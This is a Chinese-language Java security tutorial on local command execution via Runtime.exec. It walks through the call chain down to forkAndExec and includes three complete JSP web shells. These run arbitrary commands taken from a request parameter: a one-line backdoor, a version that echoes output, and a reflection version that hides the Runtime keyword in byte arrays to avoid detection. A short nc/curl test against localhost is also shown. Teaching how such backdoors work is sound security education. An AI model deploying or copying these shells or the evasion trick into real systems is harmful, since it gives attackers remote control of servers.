在Java中我们通常会使用java.lang.Runtime
类的exec
方法来执行本地系统命令。
Runtime命令执行测试
runtime-exec2.jsp执行cmd命令示例:**
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
- 本地nc监听9000端口:
nc -vv -l 9000
- 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在nc中看到已经成功的接收到了java执行了curl
命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。
上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp执行cmd命令示例:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--
Created by IntelliJ IDEA.
User: yz
Date: 2019/12/5
Time: 6:21 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
Runtime命令执行调用链
Runtime.exec(xxx)
调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个调用链我们可以清楚的看到exec
方法并不是命令执行的最终点,执行逻辑大致是:
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess
构造方法中调用了forkAndExec(xxx)
native方法。forkAndExec
调用操作系统级别fork
->exec
(*nix)/CreateProcess
(Windows)执行命令并返回fork
/CreateProcess
的PID
。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime
和ProcessBuilder
并不是程序的最终执行点!
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime
相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
命令参数是str
,如:reflection-cmd.jsp?str=pwd
,程序执行结果同上。